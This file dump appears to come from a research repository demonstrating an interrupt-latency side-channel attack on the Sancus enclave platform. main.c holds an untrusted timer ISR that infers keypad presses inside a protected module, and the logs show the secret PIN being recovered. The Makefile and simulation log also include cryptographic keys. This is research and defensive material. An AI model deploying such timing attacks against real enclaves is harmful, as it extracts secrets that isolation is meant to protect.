@28 28 | sancus_sim.timerA_0.irq_ta1 29 | @24 30 | sancus_sim.timerA_0.tar[15:0] 31 | sancus_sim.tsc.tsc[63:0] 32 | [pattern_trace] 1 33 | [pattern_trace] 0 34 | -------------------------------------------------------------------------------- /sancus/keypad/.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | *.fst 3 | *.fst.hier 4 | *.bin 5 | *.elf 6 | *.elf-no-macs 7 | *.out 8 | *.swp 9 | 10 | stimulus.v 11 | -------------------------------------------------------------------------------- /sancus/keypad/Makefile: -------------------------------------------------------------------------------- 1 | SANCUS_SUPPORT_DIR = /usr/local/share/sancus-support 2 | DEVICE = /dev/ttyUSB0 3 | VENDOR_KEY = 4078d505d82099ba 4 | 5 | CC = sancus-cc 6 | LD = sancus-ld 7 | CRYPTO = sancus-crypto 8 | LOAD = sancus-loader 9 | RM = rm -f 10 | 11 | CFLAGS = -I$(SANCUS_SUPPORT_DIR)/include/ --verbose -O1 #-Os 12 | 13 | MEM_SIZE_FLAGS = --ram-size 24K --rom-size 32K 14 | SIM_FLAGS = #$(MEM_SIZE_FLAGS) 15 | 16 | ifdef TRAVIS 17 | SIMFLAGS += --crypto-noshow 18 | endif 19 | 20 | LDFLAGS = --standalone --verbose $(MEM_SIZE_FLAGS) #--debug 21 | LIBS = -L$(SANCUS_SUPPORT_DIR)/lib -ldev-uart -ldev-timer -ldev-pmodkypd -lsm-io 22 | CRYPTOFLAGS = --key $(VENDOR_KEY) --debug --fill-macs 23 | LOADFLAGS = -device $(DEVICE) -baudrate 115200 24 | 25 | NAME = keypad 26 | OBJECTS = main.o sm-pin.o keypad_mmio.o 27 | TARGET = $(NAME).elf 28 | TARGET_NO_MACS = $(TARGET)-no-macs 29 | 30 | %.o : %.c 31 | $(CC) -c $(CFLAGS) $< -o $@ 32 | 33 | $(TARGET): $(TARGET_NO_MACS) 34 | $(CRYPTO) $(CRYPTOFLAGS) -o $@ $< 35 | 36 | $(TARGET_NO_MACS): $(OBJECTS) 37 | @echo "========== NOW LINKING ==========" 38 | $(LD) $(LDFLAGS) -o $@ $^ $(LIBS) 39 | 40 | .PHONY: load 41 | load: $(TARGET) 42 | $(MAKE) --always-make 43 | $(LOAD) $(LOADFLAGS) $< 44 | 45 | .PHONY: sim 46 | sim: $(TARGET) 47 | sancus-sim $(SIM_FLAGS) $(TARGET) 48 | 49 | .PHONY: clean 50 | clean: 51 | $(RM) $(TARGET) $(TARGET_NO_MACS) $(OBJECTS) 52 | $(RM) *.fst *.bin 53 | -------------------------------------------------------------------------------- /sancus/keypad/bin/keypad.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sancus/keypad/bin/keypad.elf -------------------------------------------------------------------------------- /sancus/keypad/keypad.v: -------------------------------------------------------------------------------- 1 | `define NO_TIMEOUT 2 | 3 | initial 4 | begin 5 | $display(" ==============================================="); 6 | $display("| START SIMULATION |"); 7 | $display(" ==============================================="); 8 | repeat(5) @(posedge mclk); 9 | stimulus_done = 0; 10 | 11 | // simulate keypad input '123A' 12 | p2_din[7:0] = 8'hEF; 13 | 14 | /* ---------------------- END OF TEST --------------- */ 15 | @(posedge r2[4]); 16 | 17 | stimulus_done = 1; 18 | $display(" ==============================================="); 19 | $display("| SIMULATION DONE |"); 20 | $display("| (stopped through verilog stimulus) |"); 21 | $display(" ==============================================="); 22 | $finish; 23 | end 24 | 25 | always @(posedge mclk) 26 | if (irq_detect) $display("[stimulus] IRQ after instruction 0x%h: %s", current_inst_pc, inst_full); 27 | -------------------------------------------------------------------------------- /sancus/keypad/keypad_mmio.c: -------------------------------------------------------------------------------- 1 | #include "keypad_mmio.h" 2 | #include 3 | 4 | /* ======================== IMPLEMENTATION MACROS =========================== */ 5 | // helper macros facilitate exact implementation copy in spy SM 6 | 7 | #define READ_KEY_STATE_STUB \ 8 | "clr r15\n\t" /* return value key_state bitmask */ \ 9 | "clr r14\n\t" /* loop counter */ \ 10 | "mov.b #0xfe,r13\n\t" /* column pin selector */ \ 11 | \ 12 | "1: cmp #4, r14 \n\t" \ 13 | "jge 4f \n\t" \ 14 | \ 15 | /* pull the column pin low */ \ 16 | "mov.b r13, &%0 \n\t" \ 17 | /* if we don't wait a couple of cycles, we sometimes seem to read old \ 18 | values from the row pins */ \ 19 | "nop \n\t" \ 20 | "nop \n\t" \ 21 | "nop \n\t" \ 22 | "nop \n\t" \ 23 | "nop \n\t" \ 24 | \ 25 | /* read state of current column (row pins) and shift right into 4 LSBs */ \ 26 | "mov.b &%1, r12 \n\t" \ 27 | "clrc \n\t" \ 28 | "rrc.b r12 \n\t" \ 29 | "rra.b r12 \n\t" \ 30 | "rra.b r12 \n\t" \ 31 | "rra.b r12 \n\t" \ 32 | \ 33 | /* shift current column state left into key_state return bitmask */ \ 34 | "clr r11 \n\t" \ 35 | "2: cmp r14, r11 \n\t" \ 36 | "jge 3f \n\t" \ 37 | "rla r12 \n\t" \ 38 | "rla r12 \n\t" \ 39 | "rla r12 \n\t" \ 40 | "rla r12 \n\t" \ 41 | "inc r11 \n\t" \ 42 | "jmp 2b \n\t" \ 43 | "3: bis r12, r15 \n\t" \ 44 | \ 45 | "inc r14 \n\t" \ 46 | "setc \n\t" \ 47 | "rlc.b r13 \n\t" \ 48 | "jmp 1b \n\t" \ 49 | \ 50 | /* since the row pins are active low, we invert the state to get a more \ 51 | natural representation*/ \ 52 | "4: inv r15 \n\t" 53 | 54 | #define INIT_STUB \ 55 | /* column pins are mapped to P2OUT[0:3] and the row pins to P2IN[4:7] */ \ 56 | "mov.b #0x00, &%0 \n\t" \ 57 | "mov.b #0x0f, &%1 \n\t" 58 | 59 | /* ======================== SECURE MMIO DRIVER =========================== */ 60 | 61 | DECLARE_EXCLUSIVE_MMIO_SM(key_mmio, 62 | /*[secret_start, end[=*/ P2IN_, P3IN_, 63 | /*caller_id=*/ 1, 64 | /*vendor_id=*/ 0x1234); 65 | 66 | key_state_t SM_MMIO_ENTRY(key_mmio) keypad_mmio_read_key_state(void) 67 | { 68 | asm( 69 | READ_KEY_STATE_STUB 70 | ::"m"(P2OUT), "m"(P2IN): 71 | ); 72 | } 73 | 74 | void SM_MMIO_ENTRY(key_mmio) keypad_mmio_init(void) 75 | { 76 | asm( 77 | INIT_STUB 78 | ::"m"(P2SEL), "m"(P2DIR): 79 | ); 80 | } 81 | 82 | #if 0 83 | /* ======================== SPY MMIO DRIVER =========================== */ 84 | // near exact copy for reference measurements without memory violations 85 | 86 | DECLARE_EXCLUSIVE_MMIO_SM(spy_mmio, 87 | /*[secret_start, end[=*/ &dummy, &dummy+1, 88 | /*caller_id=*/ 1, 89 | /*vendor_id=*/ 0x1234); 90 | 91 | char dummy, dummyIn, dummyOut, dummySel, dummyDir; 92 | uint16_t spy_mmio_ret_val; 93 | 94 | key_state_t SM_MMIO_ENTRY(key_mmio) spy_mmio_read_key_state(void) 95 | { 96 | asm( 97 | READ_KEY_STATE_STUB 98 | /* ensure only first 2 key comparisons hold (+3 overhead cycles)*/ 99 | "mov &spy_mmio_ret_val, r15\n\t" 100 | ::"m"(dummyOut), "m"(dummyIn): 101 | ); 102 | } 103 | 104 | void SM_MMIO_ENTRY(key_mmio) spy_mmio_init(void) 105 | { 106 | asm( 107 | INIT_STUB 108 | ::"m"(dummySel), "m"(dummyDir): 109 | ); 110 | } 111 | 112 | void SM_MMIO_ENTRY(key_mmio) spy_empty(void) 113 | { 114 | } 115 | #endif 116 | -------------------------------------------------------------------------------- /sancus/keypad/keypad_mmio.h: -------------------------------------------------------------------------------- 1 | #ifndef MMIO_DRIVER_H 2 | #define MMIO_DRIVER_H 3 | 4 | #include 5 | #include 6 | 7 | // bitmap indicating which keys are down 8 | typedef uint16_t key_state_t; 9 | 10 | key_state_t SM_MMIO_ENTRY(key_mmio) keypad_mmio_read_key_state(void); 11 | void SM_MMIO_ENTRY(key_mmio) keypad_mmio_init(void); 12 | 13 | key_state_t SM_MMIO_ENTRY(spy_mmio) spy_mmio_read_key_state( void ); 14 | void SM_MMIO_ENTRY(spy_mmio) spy_mmio_init(void); 15 | 16 | extern uint16_t spy_mmio_ret_val; 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /sancus/keypad/logs/isr_press_release.txt: -------------------------------------------------------------------------------- 1 | ------------------------ 2 | [main] Hi from main... 3 | 4 | SM secure with ID 1 enabled : 0x91f0 0x95ac 0x0200 0x02b8 5 | 6 | SM key_mmio with ID 2 enabled : 0x95ac 0x9640 0x0028 0x0030 7 | 8 | [main] enter secure PIN... 9 | [isr] key 'D' was pressed! 10 | [isr] key 'D' was released! 11 | [isr] key 'E' was pressed! 12 | [isr] key 'E' was released! 13 | [isr] key 'A' was pressed! 14 | [isr] key 'A' was released! 15 | [isr] key 'D' was pressed! 16 | [sm] secret PIN is DEAD 17 | 18 | [main] exiting... 19 | 20 | -------------------------------------------------------------------------------- /sancus/keypad/logs/screenlog.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | ------------------------ 4 | [main] Hi from main... 5 | 6 | SM secure with ID 1 enabled : 0x9620 0x9a90 0x0200 0x02b8 7 | 8 | SM spy with ID 2 enabled : 0x9a90 0x9ec8 0x02b8 0x0370 9 | 10 | SM key_mmio with ID 3 enabled : 0x9f6c 0xa000 0x0028 0x0030 11 | 12 | SM spy_mmio with ID 4 enabled : 0x9ec8 0x9f6a 0x0000 0x0000 13 | 14 | [main] spy SM execution time report: 15 | ______________________________________ 16 | 738 | first key comparison 17 | 18 | counter-dependent bit shift 18 | 233 | reti if to subsequent comparison 19 | 208 | reti else to subsequent comparison 20 | 21 | [main] enter secure PIN... 22 | [isr] key 'D' was pressed 23 | [isr] key 'E' was pressed 24 | [isr] key 'A' was pressed 25 | [isr] key 'D' was pressed 26 | [sm] secret PIN is DEAD 27 | 28 | [main] exiting... 29 | 30 | 31 | -------------------------------------------------------------------------------- /sancus/keypad/logs/sim.txt: -------------------------------------------------------------------------------- 1 | Start Verilog simulation... 2 | === Atomicity parameters === 3 | Atom bound: 60 4 | ============================= 5 | === Spongent parameters === 6 | Rate: 18 7 | State size: 176 8 | =========================== 9 | === SpongeWrap parameters === 10 | Rate: 16 11 | Security: 64 12 | Blocks in key: 4 13 | ============================= 14 | =============================================== 15 | | START SIMULATION | 16 | =============================================== 17 | VCD info: dumpfile tb_openMSP430.vcd opened for output. 18 | 19 | 20 | ------------------------ 21 | [main] Hi from main... 22 | New SM 1 config: 9308 9778 0200 02b8, 0 23 | Key: 734555f5a4f43290 24 | New SM 2 config: 9778 9bb0 02b8 0370, 0 25 | Key: 1af28c6726114cce 26 | New SM 3 config: 9bb0 9c44 0028 0030, 0 27 | Key: 820f9c7ef4c63f91 28 | New SM 4 config: 9c44 9ce6 0000 0000, 0 29 | Key: 9b5b22e23973f406 30 | [stimulus] IRQ after instruction 0x9b44: MOV &EDE, &EDE 31 | [stimulus] IRQ after instruction 0x9b68: MOV r12, x(r4) 32 | 33 | [main] spy SM execution time report: 34 | ______________________________________ 35 | 738 | first key comparison 36 | 18 | counter-dependent bit shift 37 | 233 | reti if to subsequent comparison 38 | 208 | reti else to subsequent comparison 39 | 40 | [main] enter secure PIN... 41 | [stimulus] IRQ after instruction 0x96f0: MOV.B x(r12), r13 42 | [isr] key '1' was pressed 43 | [stimulus] IRQ after instruction 0x970e: MOV r12, x(r4) 44 | [stimulus] IRQ after instruction 0x970e: MOV r12, x(r4) 45 | [stimulus] IRQ after instruction 0x970e: MOV r12, x(r4) 46 | [stimulus] IRQ after instruction 0x96f0: MOV.B x(r12), r13 47 | [isr] key '2' was pressed 48 | [stimulus] IRQ after instruction 0x970e: MOV r12, x(r4) 49 | [stimulus] IRQ after instruction 0x970e: MOV r12, x(r4) 50 | [stimulus] IRQ after instruction 0x970e: MOV r12, x(r4) 51 | [stimulus] IRQ after instruction 0x96f0: MOV.B x(r12), r13 52 | [isr] key '3' was pressed 53 | [stimulus] IRQ after instruction 0x970e: MOV r12, x(r4) 54 | [stimulus] IRQ after instruction 0x970e: MOV r12, x(r4) 55 | [stimulus] IRQ after instruction 0x970e: MOV r12, x(r4) 56 | [stimulus] IRQ after instruction 0x96f0: MOV.B x(r12), r13 57 | [isr] key 'A' was pressed 58 | [sm] secret PIN is 123A 59 | 60 | [main] exiting... 61 | =============================================== 62 | | SIMULATION DONE | 63 | | (stopped through verilog stimulus) | 64 | =============================================== 65 | 66 | -------------------------------------------------------------------------------- /sancus/keypad/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "sm-pin.h" 5 | #include 6 | 7 | #define ENABLE_SANCUS_PROTECTION 1 8 | #define DO_ATTACK 1 9 | #define DO_MMIO_VIOLATION 0 10 | #define DEBUG 0 11 | 12 | /* ============================== MAIN ================================== */ 13 | 14 | #if DEBUG 15 | #define DEBUG_PRINT(fmt, args...) printf(fmt, args) 16 | #else 17 | #define DEBUG_PRINT(fmt, args...) 18 | #endif 19 | 20 | #define TACTL_DISABLE (TACLR) 21 | #define TACTL_ENABLE (TASSEL_2 + MC_1 + TAIE) 22 | #define TACTL_CONTINUOUS ((TASSEL_2 + MC_2) & ~TAIE) 23 | 24 | /* 25 | * Operate Timer_A in continuous mode to act like a Time Stamp Counter. 26 | */ 27 | #define TSC_TIMER_A_START \ 28 | TACTL = TACTL_DISABLE; \ 29 | TACCR0 = 0x1; \ 30 | TACTL = TACTL_CONTINUOUS; 31 | 32 | /* 33 | * Fire an IRQ after the specified number of cycles have elapsed. Timer_A TAR 34 | * register will continue counting from zero after IRQ generation. 35 | */ 36 | #define IRQ_TIMER_A( interval ) \ 37 | TACTL = TACTL_DISABLE; \ 38 | /* 1 cycle overhead TACTL write */ \ 39 | TACCR0 = interval - 1; \ 40 | /* source mclk, up mode */ \ 41 | TACTL = TACTL_ENABLE; 42 | 43 | int __global_thrid = 1; 44 | int tsc_cmp_enter, tsc_cmp_reti_if, tsc_cmp_reti_else; 45 | int irq_cnt, isr_pin_idx, isr_measure_reti; 46 | int isr_pressed[NB_KEYS] = {0}; 47 | 48 | int main(void) 49 | { 50 | WDTCTL = WDTPW | WDTHOLD; 51 | 52 | msp430_io_init(); 53 | 54 | #if ENABLE_SANCUS_PROTECTION 55 | sancus_enable(&secure); 56 | pr_sm_info(&secure); 57 | //sancus_enable(&spy); 58 | //pr_sm_info(&spy); 59 | sancus_enable(&key_mmio); 60 | pr_sm_info(&key_mmio); 61 | //sancus_enable(&spy_mmio); 62 | //pr_sm_info(&spy_mmio); 63 | #endif 64 | 65 | /** Enable TimerA interrupt source and init SMs **/ 66 | asm("eint\n\t"); 67 | sm_secure_poll_keypad(); 68 | 69 | #if 0 70 | do_spy_init(); 71 | 72 | /** measure reference execution times via spy SM **/ 73 | // number of cycles from entry up to first comparison 74 | spy_mmio_ret_val = 0x0001; 75 | TSC_TIMER_A_START 76 | sm_spy_measure(); 77 | tsc_cmp_enter = spy_tsc - 3 - 1; // overhead dummy driver + spy_grab_tsc 78 | do_spy_init(); 79 | 80 | // IRQ after first conditional jump in if branch; measure number of cycles 81 | // from ISR reti up to next conditional jump 82 | isr_measure_reti = 1; 83 | spy_mmio_ret_val = 0x0003; 84 | IRQ_TIMER_A( tsc_cmp_enter+3 ) // overhead dummy driver 85 | sm_spy_measure(); 86 | tsc_cmp_reti_if = spy_tsc - 3 - 1 - tsc_bitshift; // overhead spy_grab_tsc 87 | do_spy_init(); 88 | 89 | // IRQ after first conditional jump in else branch; measure number of cycles 90 | // from ISR reti up to next conditional jump 91 | spy_mmio_ret_val = 0x0002; 92 | IRQ_TIMER_A( tsc_cmp_enter+3 ) // overhead dummy driver 93 | sm_spy_measure(); 94 | tsc_cmp_reti_else = spy_tsc - 1 - tsc_bitshift; // overhead spy_grab_tsc 95 | isr_measure_reti = 0; 96 | do_spy_init(); 97 | 98 | puts("\n[main] spy SM execution time report:"); 99 | puts(" ______________________________________"); 100 | printf(" %3d | first key comparison\n", tsc_cmp_enter); 101 | printf(" %3d | counter-dependent bit shift\n", tsc_bitshift); 102 | printf(" %3d | reti if to subsequent comparison\n", tsc_cmp_reti_if); 103 | printf(" %3d | reti else to subsequent comparison\n", tsc_cmp_reti_else); 104 | #endif 105 | 106 | #if 0 107 | TSC_TIMER_A_START 108 | sm_secure_poll_keypad(); 109 | printf(" %3d | first key comparison\n", spy_tsc); 110 | #endif 111 | 112 | /** Enter SM with TimerA set for first key comparison **/ 113 | puts("\n[main] enter secure PIN..."); 114 | int pin_nb_left = PIN_LEN; 115 | while (pin_nb_left) 116 | { 117 | irq_cnt = 0; 118 | 119 | // enter the SM; ISR will learn first keypress comparison 120 | #if DO_ATTACK 121 | IRQ_TIMER_A( 646 ) 122 | #endif 123 | pin_nb_left = sm_secure_poll_keypad(); 124 | } 125 | 126 | dump_secure_pin(); 127 | 128 | #if DO_MMIO_VIOLATION 129 | puts("\n[main] accessing P2 MMIO region..."); 130 | P2SEL = 0x0; 131 | #endif 132 | 133 | puts("\n[main] exiting..."); 134 | EXIT(); 135 | } 136 | 137 | 138 | /* =========================== TIMER A ISR =============================== */ 139 | 140 | #if ENABLE_SANCUS_PROTECTION 141 | #define HW_IRQ_LATENCY 34 142 | #else 143 | #define HW_IRQ_LATENCY 32 144 | #endif 145 | #define ISR_STACK_SIZE 512 146 | 147 | #define CMP_DIR_CYCLES 2 148 | 149 | uint16_t __isr_stack[ISR_STACK_SIZE]; 150 | void* __isr_sp = &__isr_stack[ISR_STACK_SIZE-1]; 151 | void* __isr_reti_addr; 152 | int __isr_tar_entry; 153 | 154 | #define WRAP_ISR(fct) \ 155 | asm( "mov &%0, &__isr_tar_entry \n\t" \ 156 | "mov &__isr_sp, r1 \n\t" \ 157 | /* unprotected domain is not interrupted in test */ \ 158 | "mov r15, &__isr_reti_addr \n\t" \ 159 | "mov r15, r14 \n\t" \ 160 | /* sancus_get_caller_id */ \ 161 | ".word 0x1387 \n\t" \ 162 | "call #" #fct " \n\t" \ 163 | /* simulate reti with gie enabled in status */ \ 164 | /* word to terminate ISR atomic section */ \ 165 | "mov #0xfffe, r4 \n\t" \ 166 | "push &__isr_reti_addr \n\t" \ 167 | "push #0x0008 \n\t" \ 168 | /* enable TimerA and enter SM */ \ 169 | "mov r15, &%1 \n\t" \ 170 | "reti \n\t" \ 171 | ::"m"(TAR),"m"(TACTL):); 172 | 173 | char isr_key_to_char(int key) 174 | { 175 | static char keymap[] = { 176 | '1', '4', '7', '0', 177 | '2', '5', '8', 'F', 178 | '3', '6', '9', 'E', 179 | 'A', 'B', 'C', 'D' 180 | }; 181 | 182 | return keymap[key]; 183 | } 184 | 185 | uint16_t do_timerA_isr(sm_id callerID, void* retiAddr) 186 | { 187 | TACTL = TACTL_DISABLE; 188 | //DEBUG_PRINT("\n[isr] timer A IRQ with callerID %x and retiAddr %p\n", \ 189 | callerID, retiAddr); 190 | 191 | if (isr_measure_reti) 192 | { 193 | TACCR0 = 0x1; 194 | return TACTL_CONTINUOUS; 195 | } 196 | 197 | /** Calculate fine-grained IRQ latency **/ 198 | int latency = __isr_tar_entry - HW_IRQ_LATENCY - 1; 199 | DEBUG_PRINT("[isr] IRQ latency is %d\n", latency); 200 | 201 | /** Leak info on keyPress comparison **/ 202 | volatile int pressed = 0, released = 0, if_branch = (latency != CMP_DIR_CYCLES); 203 | 204 | if (if_branch && !isr_pressed[irq_cnt]) 205 | { 206 | printf("\t[isr] key '%c' was pressed!\n", isr_key_to_char(irq_cnt)); 207 | isr_pressed[irq_cnt] = 1; 208 | isr_pin_idx++; 209 | pressed = 1; 210 | } 211 | else if (!if_branch && isr_pressed[irq_cnt]) 212 | { 213 | printf("\t[isr] key '%c' was released!\n", isr_key_to_char(irq_cnt)); 214 | isr_pressed[irq_cnt] = 0; 215 | released = 1; 216 | } 217 | 218 | /** Continue with TimerA set for next key comparison, if any **/ 219 | if (++irq_cnt < NB_KEYS && isr_pin_idx < PIN_LEN) 220 | { 221 | // Calculate next interrupt interval, based on whether the if branch 222 | // was taken, and whether the key has been released 223 | int interval = 113; 224 | if (if_branch && pressed) interval += 19; 225 | else if (if_branch) interval += 2; 226 | 227 | TACCR0 = interval; 228 | return TACTL_ENABLE; 229 | } 230 | return TACTL_DISABLE; 231 | } 232 | 233 | __attribute__ ((naked)) __attribute__((interrupt(16))) void timerA_isr(void) 234 | { 235 | WRAP_ISR(do_timerA_isr) 236 | } 237 | 238 | -------------------------------------------------------------------------------- /sancus/keypad/sm-pin.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "sm_io_wrap.h" 4 | #include "sm-pin.h" 5 | #include "keypad_mmio.h" 6 | 7 | #define SECURE_SM_EXPECTED_ID 1 8 | #define SPY_SM_EXPECTED_ID 2 9 | 10 | int spy_tsc; 11 | 12 | /* ======================== IMPLEMENTATION MACROS =========================== */ 13 | // helper macros facilitate exact implementation copy in spy SM 14 | 15 | #define SECURE_INIT( me, mmio_init_fct, my_init, my_pin_idx, my_keymap, \ 16 | my_key_state ) \ 17 | { \ 18 | /* keypad_mmio SM has the ID of this SM hardcoded */ \ 19 | if (sancus_get_self_id() != me) \ 20 | { \ 21 | return 0; \ 22 | } \ 23 | /* call and verify keypad_mmio SM */ \ 24 | mmio_init_fct(); \ 25 | my_init = 1; \ 26 | my_pin_idx = 0; \ 27 | my_key_state = 0x0; \ 28 | /* avoid an unprotected global constant */ \ 29 | /* TODO consider an SM_CONST compiler attribute (?) */ \ 30 | my_keymap[0] = '1'; \ 31 | my_keymap[1] = '4'; \ 32 | my_keymap[2] = '7'; \ 33 | my_keymap[3] = '0'; \ 34 | my_keymap[4] = '2'; \ 35 | my_keymap[5] = '5'; \ 36 | my_keymap[6] = '8'; \ 37 | my_keymap[7] = 'F'; \ 38 | my_keymap[8] = '3'; \ 39 | my_keymap[9] = '6'; \ 40 | my_keymap[10] = '9'; \ 41 | my_keymap[11] = 'E'; \ 42 | my_keymap[12] = 'A'; \ 43 | my_keymap[13] = 'B'; \ 44 | my_keymap[14] = 'C'; \ 45 | my_keymap[15] = 'D'; \ 46 | return 1; \ 47 | } 48 | 49 | /* ========================== SECURE KEYPAD SM ============================= */ 50 | 51 | DECLARE_SM(secure, 0x1234); 52 | 53 | key_state_t SM_DATA(secure) secret_key_state; 54 | char SM_DATA(secure) secret_pin[PIN_LEN]; 55 | int SM_DATA(secure) secret_pin_idx; 56 | int SM_DATA(secure) secret_init; 57 | int SM_DATA(secure) secret_keymap[NB_KEYS]; 58 | 59 | int SM_FUNC(secure) sm_secure_init( void ) 60 | { 61 | SECURE_INIT( SECURE_SM_EXPECTED_ID, keypad_mmio_init, secret_init, 62 | secret_pin_idx, secret_keymap, secret_key_state) 63 | } 64 | 65 | /* 66 | * The start-to-end timing of this function only reveals the number of times the 67 | * if statement was executed (i.e. the number of keys that were down), which is 68 | * also explicitly returned. By carefully interrupting the function each for 69 | * loop iteration, an untrusted ISR can learn the value of the secret PIN code. 70 | */ 71 | int SM_ENTRY(secure) sm_secure_poll_keypad( void ) 72 | { 73 | int key_mask = 0x1; 74 | 75 | if (!secret_init) 76 | { 77 | return sm_secure_init(); 78 | } 79 | 80 | /* Fetch key state from MMIO driver SM. */ 81 | key_state_t new_key_state = keypad_mmio_read_key_state(); 82 | 83 | /* Store down keys in private PIN array. */ 84 | for (int key = 0; key < NB_KEYS; key++) 85 | { 86 | int is_pressed = (new_key_state & key_mask); 87 | int was_pressed = (secret_key_state & key_mask); 88 | if ( is_pressed /* INTERRUPT SHOULD ARRIVE HERE */ 89 | && !was_pressed && (secret_pin_idx < PIN_LEN)) 90 | { 91 | secret_pin[secret_pin_idx++] = secret_keymap[key]; 92 | } 93 | /* .. OR HERE. */ 94 | 95 | key_mask = key_mask << 1; 96 | } 97 | 98 | secret_key_state = new_key_state; 99 | return (PIN_LEN - secret_pin_idx); 100 | } 101 | 102 | void SM_ENTRY(secure) dump_secure_pin( void ) 103 | { 104 | printf2("[sm] secret PIN is %c%c", secret_pin[0], secret_pin[1]); 105 | printf2("%c%c\n", secret_pin[2], secret_pin[3]); 106 | } 107 | 108 | #if 0 109 | /* =========================== SPY SM ============================== */ 110 | // near exact copy of secure SM, modified to leak timings 111 | 112 | DECLARE_SM(spy, 0x1234); 113 | 114 | key_state_t SM_DATA(spy) spy_key_state; 115 | char SM_DATA(spy) spy_pin[PIN_LEN]; 116 | int SM_DATA(spy) spy_pin_idx; 117 | int SM_DATA(spy) spy_init; 118 | int SM_DATA(spy) spy_keymap[NB_KEYS]; 119 | int spy_tsc; 120 | 121 | int SM_FUNC(spy) sm_spy_init( void ) 122 | { 123 | SECURE_INIT( SPY_SM_EXPECTED_ID, spy_mmio_init, spy_init, 124 | spy_pin_idx, spy_keymap, spy_key_state ) 125 | } 126 | 127 | int SM_ENTRY(spy) __attribute__((naked)) sm_spy_measure( void ) 128 | { 129 | asm ("mov &%0, &spy_tsc \n\t" 130 | ::"m"(TAR):); 131 | 132 | #if 0 133 | /* 134 | SECURE_POLL_KEYPAD( spy_init, sm_spy_init, spy_pin_idx, spy_pin, 135 | spy_mmio_read_key_state, spy_key_state, spy_keymap, 136 | SPY_IF_BODY) 137 | */ 138 | asm( 139 | "push r4 \n\t" 140 | "mov r1, r4 \n\t" 141 | "push r11 \n\t" 142 | "push r10 \n\t" 143 | "push r9 \n\t" 144 | "tst &spy_init \n\t" 145 | "jz 1f \n\t" 146 | "call #spy_mmio_read_key_state \n\t" 147 | "mov #1, r12 \n\t" 148 | "clr r13 \n\t" 149 | "mov &spy_key_state,r14 \n\t" 150 | "3: mov &spy_pin_idx,r11 \n\t" 151 | "cmp #4, r11 \n\t" 152 | "jge 2f \n\t" 153 | "mov r12, r10 \n\t" 154 | "and r15, r10 \n\t" 155 | "tst r10 \n\t" 156 | "jz 2f \n\t" 157 | "mov r14, r10 \n\t" 158 | "and r12, r10 \n\t" 159 | "tst r10 \n\t" 160 | "jnz 2f \n\t" 161 | 162 | "mov &%0, &spy_tsc \n\t" 163 | 164 | "mov.b 702(r13),r10 \n\t" 165 | "mov r11, r9 \n\t" 166 | "inc r9 \n\t" 167 | "mov r9, &spy_pin_idx \n\t" 168 | "mov.b r10, 734(r11) \n\t" 169 | "2: rla r12 \n\t" 170 | "incd r13 \n\t" 171 | "cmp #32, r13 \n\t" 172 | "jnz 3b \n\t" 173 | "mov r15, &spy_key_state \n\t" 174 | "mov #4, r15 \n\t" 175 | "sub &spy_pin_idx,r15 \n\t" 176 | "jmp 4f \n\t" 177 | "1: call #sm_spy_init \n\t" 178 | "4: pop r9 \n\t" 179 | "pop r10 \n\t" 180 | "pop r11 \n\t" 181 | "pop r4 \n\t" 182 | "ret \n\t" 183 | ::"m"(TAR):); 184 | #endif 185 | } 186 | 187 | // allow re-initialisation for deterministic test behavior 188 | void SM_ENTRY(spy) do_spy_init( void ) 189 | { 190 | //sm_spy_init(); 191 | } 192 | #endif 193 | -------------------------------------------------------------------------------- /sancus/keypad/sm-pin.h: -------------------------------------------------------------------------------- 1 | #ifndef SM_KEYPAD_H 2 | #define SM_KEYPAD_H 3 | 4 | #include 5 | #include "keypad_mmio.h" 6 | 7 | #define PIN_LEN 4 8 | #define NB_KEYS 16 9 | 10 | extern struct SancusModule secure; 11 | extern struct SancusModule key_mmio; 12 | extern struct SancusModule spy; 13 | extern struct SancusModule spy_mmio; 14 | 15 | int SM_ENTRY(secure) sm_secure_poll_keypad( void ); 16 | 17 | // explicit leak function for testing purposes 18 | void SM_ENTRY(secure) dump_secure_pin( void ); 19 | 20 | int SM_ENTRY(spy) sm_spy_measure( void ); 21 | void SM_ENTRY(spy) do_spy_init( void ); 22 | 23 | /* SM_spy copies Timer_A TAR content to global var after conditional jump. */ 24 | extern int spy_tsc; 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /sancus/keypad/waveform_view.gtkw: -------------------------------------------------------------------------------- 1 | [*] 2 | [*] GTKWave Analyzer v3.3.58 (w)1999-2014 BSI 3 | [*] Thu Sep 1 16:31:10 2016 4 | [*] 5 | [dumpfile] "/media/DATA/Documents/sgx/sgx-laptop/sgx-irq-latency/sancus-keypad/sancus_sim.fst" 6 | [dumpfile_mtime] "Thu Sep 1 16:25:02 2016" 7 | [dumpfile_size] 28959004 8 | [savefile] "/media/DATA/Documents/sgx/sgx-laptop/sgx-irq-latency/sancus-keypad/waveform_view.gtkw" 9 | [timestart] 10015311000 10 | [size] 1920 1006 11 | [pos] -919 -406 12 | *-16.000000 10015475000 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 13 | [treeopen] sancus_sim. 14 | [treeopen] sancus_sim.timerA_0. 15 | [sst_width] 201 16 | [signals_width] 198 17 | [sst_expanded] 1 18 | [sst_vpaned_height] 298 19 | @28 20 | sancus_sim.dut.mclk 21 | @22 22 | sancus_sim.dut.current_inst_pc[15:0] 23 | @820 24 | sancus_sim.inst_full[255:0] 25 | @821 26 | sancus_sim.e_state[255:0] 27 | @28 28 | sancus_sim.timerA_0.irq_ta1 29 | @24 30 | sancus_sim.timerA_0.tar[15:0] 31 | sancus_sim.tsc.tsc[63:0] 32 | [pattern_trace] 1 33 | [pattern_trace] 0 34 | -------------------------------------------------------------------------------- /sancus/plot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import numpy as np 4 | import matplotlib.pyplot as plt 5 | import matplotlib.font_manager as font_manager 6 | 7 | def plot_trace(latencies, start, end, out, hsize, vsize, o=''): 8 | fig = plt.figure(figsize=(hsize,vsize)) 9 | ax = plt.gca() 10 | 11 | font = font_manager.FontProperties(family='monospace', size=12) #weight='bold', 